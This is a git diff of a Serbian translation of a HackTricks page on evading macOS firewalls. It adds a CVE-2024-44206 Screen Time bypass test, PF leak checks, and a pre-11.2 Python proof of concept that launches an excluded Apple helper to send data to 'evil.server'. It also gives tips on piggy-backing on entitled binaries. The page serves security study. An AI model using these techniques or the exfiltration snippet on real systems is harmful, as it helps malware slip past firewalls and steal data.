Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-05 00:17:58 +00:00
parent 931fdff963
commit bf2f3bb0d6

View File

@ -12,23 +12,23 @@ Sledeće tehnike su pronađene kao funkcionalne u nekim macOS firewall aplikacij
### Sintetički Klik
- Ako firewall traži dozvolu od korisnika, neka malver **klikne na dozvoli**
- Ako firewall traži dozvolu od korisnika, naterajte malver da **klikne na dozvoli**
### **Koristite Apple potpisane binarne datoteke**
- Kao **`curl`**, ali i druge kao što su **`whois`**
- Kao što je **`curl`**, ali i druge kao što su **`whois`**
### Poznate Apple domene
Firewall bi mogao dozvoliti veze sa poznatim Apple domenama kao što su **`apple.com`** ili **`icloud.com`**. I iCloud bi mogao biti korišćen kao C2.
### Opšti Bypass
### Generički Bypass
Neke ideje za pokušaj zaobilaženja firewalla
### Proverite dozvoljeni saobraćaj
Poznavanje dozvoljenog saobraćaja će vam pomoći da identifikujete potencijalno bele liste domene ili koje aplikacije imaju dozvolu za pristup njima.
Poznavanje dozvoljenog saobraćaja će vam pomoći da identifikujete potencijalno bele liste domene ili koje aplikacije imaju dozvolu da im pristupe.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
@ -69,8 +69,61 @@ Ako možete **injektovati kod u proces** koji ima dozvolu da se poveže sa bilo
macos-proces-abuse/
{{#endref}}
---
## Nedavne ranjivosti za zaobilaženje macOS vatrozida (2023-2025)
### Zaobilaženje filtera web sadržaja (Screen Time) **CVE-2024-44206**
U julu 2024. Apple je ispravio kritičnu grešku u Safari/WebKit koja je prekinula sistemski “filter web sadržaja” koji koriste roditeljske kontrole Screen Time.
Posebno oblikovana URI (na primer, sa dvostruko URL-enkodiranim “://”) nije prepoznata od strane Screen Time ACL, ali je prihvaćena od strane WebKit-a, tako da se zahtev šalje nefiltrirano. Svaki proces koji može otvoriti URL (uključujući sandboxes ili nesiguran kod) može stoga pristupiti domenima koji su eksplicitno blokirani od strane korisnika ili MDM profila.
Praktični test (neispravljeni sistem):
```bash
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
```
### Packet Filter (PF) pravilo-redosled greška u ranoj macOS 14 “Sonoma”
Tokom beta ciklusa macOS 14, Apple je uveo regresiju u korisničkom omotaču oko **`pfctl`**.
Pravila koja su dodata sa `quick` ključnom rečju (koju koriste mnogi VPN kill-switch-evi) su tiho ignorisana, uzrokujući curenje saobraćaja čak i kada je VPN/firewall GUI izvestio *blokirano*. Greška je potvrđena od strane nekoliko VPN dobavljača i ispravljena u RC 2 (build 23A344).
Brza provera curenja:
```bash
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Zloupotreba Apple-ovih potpisanih pomoćnih usluga (legacy pre-macOS 11.2)
Pre macOS 11.2 **`ContentFilterExclusionList`** je omogućavao ~50 Apple binarnih datoteka kao što su **`nsurlsessiond`** i App Store da zaobiđu sve socket-filter vatrozidove implementirane sa Network Extension framework-om (LuLu, Little Snitch, itd.).
Malver je mogao jednostavno da pokrene isključeni proces—ili da ubrizga kod u njega—i da tuneluje svoj sopstveni saobraćaj preko već dozvoljenog soketa. Apple je potpuno uklonio listu isključenja u macOS 11.2, ali je tehnika i dalje relevantna na sistemima koji ne mogu biti nadograđeni.
Primer dokaza koncepta (pre-11.2):
```python
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
```
---
## Saveti za alate za moderni macOS
1. Istražite trenutna PF pravila koja generišu GUI vatrozidi:
```bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
```
2. Nabrojite binarne datoteke koje već imaju *outgoing-network* pravo (korisno za piggy-backing):
```bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
```
3. Programatski registrujte svoj vlastiti Network Extension sadržajni filter u Objective-C/Swift.
Minimalni rootless PoC koji prosleđuje pakete lokalnom soketu dostupan je u izvoru **LuLu** Patricka Wardlea.
## Reference
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
- <https://nosebeard.co/advisories/nbl-001.html>
- <https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html>
{{#include ../../banners/hacktricks-training.md}}